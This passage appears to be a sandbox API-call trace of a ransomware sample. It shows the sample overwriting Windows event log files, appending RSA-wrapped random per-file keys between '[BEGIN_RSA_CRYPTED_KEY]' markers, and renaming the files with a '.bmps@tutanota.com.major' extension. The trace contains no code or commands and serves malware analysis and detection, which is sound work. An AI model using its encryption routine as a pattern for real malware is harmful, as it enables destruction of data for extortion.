lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.717] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.717] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.719] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.719] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="9q6Oohrej5NgoaoM5kEtRRek3GDRj/RXnobtbA7DtZFFYMmuHDzs7zp7eyT0vpQH\nnYCZJDfHS8hdmx5RRP60ezKLvIsMRGqtBRUZbqhxE/p/bn41wozcr3n07bffmTEs\nKTKK9cBGoX5egRBLYc4qlCvC+BjsRlMS94scSSFRxz8cw6qjfc0CGPFV9KYIhPf2\nJCpIFr1k1RWhNc+6joYFqpC4ofiKHzj16xkFswgcyMmF2TcQ7Wp1fYO3W4/3Chor\n1ec2pzAvV+HPVTxDGoxv0xN8tMNpPD4wT1FGhGheRl4NFueUUnBwwkXXx41JpX9x\np1WH9o7CEYEd9giRm0IjGg==\n", pcchString=0x2e3f9a8) returned 1 [0123.719] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.719] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.719] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.719] CloseHandle (hObject=0x460) returned 1 [0123.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.724] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f78 | out: hHeap=0x570000) returned 1 [0123.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e28 | out: hHeap=0x570000) returned 1 [0123.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0123.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.726] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.726] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5b5e28 [0123.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x5b5ed0 [0123.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e28 | out: hHeap=0x570000) returned 1 [0123.739] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.739] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.739] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.767] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.767] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.768] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.768] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.768] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.769] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.769] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5fc8 [0123.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5fc8, pcchString=0x2e3f9a8 | out: pszString="AB6qsns/0YT6PcR6N5hXzBawGnzmHIHbDB0X5GCTroHuGbR6C5WggCL3JwLvc7yF\nskF3f0vSCMX6o3QfiY8poST3i2VQRyqMeXuhYfSibLQd5fRjocXk62ZG6k9iwE2z\n+Vx00HDzwXI9pDXHPIqBA248D2dlcD7AmbtTL1+N9Br3kzZMD+09CU+4y7tbhL1G\nZGFlrfWB8t8oTOVDmsfT/m1PEC26mWorncU4/IupGYKCHIT2Nr9q/i87h9sskpTp\nr+K7M2N7n3mBuucM6iS4iC28UduG4sFVdHGIZ4EGZcnhhWttfCvQceW0QTDBJwaK\n3g0CxvnU1Btx4NlHHBoJkA==\n", pcchString=0x2e3f9a8) returned 1 [0123.770] WriteFile (in: hFile=0x460, lpBuffer=0x5b5fc8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5fc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.770] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.770] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.770] CloseHandle (hObject=0x460) returned 1 [0123.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5fc8 | out: hHeap=0x570000) returned 1 [0123.772] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ed0 | out: hHeap=0x570000) returned 1 [0123.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0123.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.786] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.787] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0123.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5b5d80 [0123.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xee) returned 0x5b5e28 [0123.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.787] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.787] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.787] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.815] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.815] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.819] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.819] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.819] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.819] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f20 [0123.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f20, pcchString=0x2e3f9a8 | out: pszString="2rM2+ezevraPS/+k54TU077p0ju/TustMVVf6A2UGJYuPIBBn8HUm0jjkTqjZRR1\n5I27Gpr4XsVS+zqLsFLt4lMBbmrM6yu8eAECdxw7P1iwxSOfMY+NUdAVa2atXxmt\nmvw8psKSmrhX057VVllon9YNz/DBcASjnap+2+aGLLI6vCkhH6M3Zvi4bGled1P6\n15KfTfFjyIYjjtSJLyFfbwOroxWNBB1gOyqRwdIQFMHN8pVDzFGkthfQPbvo232j\nEdKcDTc9lLM66T/l8iFnmLukX10aQcuFadBWZZLBIxMdGoazX5+eKz9O4FEtmmoS\nOmUiYf+7rYtYmA5YahrxCw==\n", pcchString=0x2e3f9a8) returned 1 [0123.821] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f20*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.821] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.821] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.821] CloseHandle (hObject=0x460) returned 1 [0123.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f20 | out: hHeap=0x570000) returned 1 [0123.826] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e28 | out: hHeap=0x570000) returned 1 [0123.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0123.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0730 [0123.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.828] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.828] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", dwFileAttributes=0x80) returned 1 [0123.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0820 [0123.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0820 | out: hHeap=0x570000) returned 1 [0123.829] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.829] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.829] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.842] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.842] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.846] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.846] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.846] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0123.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="3jKa0ZjcVc4kX15dlF3UqQ1TWmqNwdtdkN2uL3DJzlXx7lajkFG13OIOeoQuvhjC\nZLId64yn44/s1sND0nnf3Y6OKzuDLKQjfZmkF6cRZIMNg46pmrCUik7MDOipenZ0\n7EdJMqzWP9Z3JSXIaSu9k5rpKqV17KgVlI8xmGUbb0KrGbsP6RnsYped8QjMyy6i\nAFYCqgwLfYkuEb7eLWo6g6/hFZ4oDvmK9bGn+rqqf+O+AaXLdOWX5Q5E1TZQnjDo\nvfdbikT8td0k63SjCmlqWwaEku401yDiPU/tLllhJIjnOj0PF1TG6BKOXAVxyFVQ\n6jCS6+hBTfaeonp5pPDvkA==\n", pcchString=0x2e3f9a8) returned 1 [0123.848] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.848] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.848] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.848] CloseHandle (hObject=0x460) returned 1 [0123.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.850] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0730 | out: hHeap=0x570000) returned 1 [0123.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x570000) returned 1 [0123.852] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0123.852] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.853] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.853] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0123.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0123.853] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0123.853] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.853] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.853] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.868] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.869] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.872] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.872] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.872] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.873] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.873] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.874] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0123.874] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: 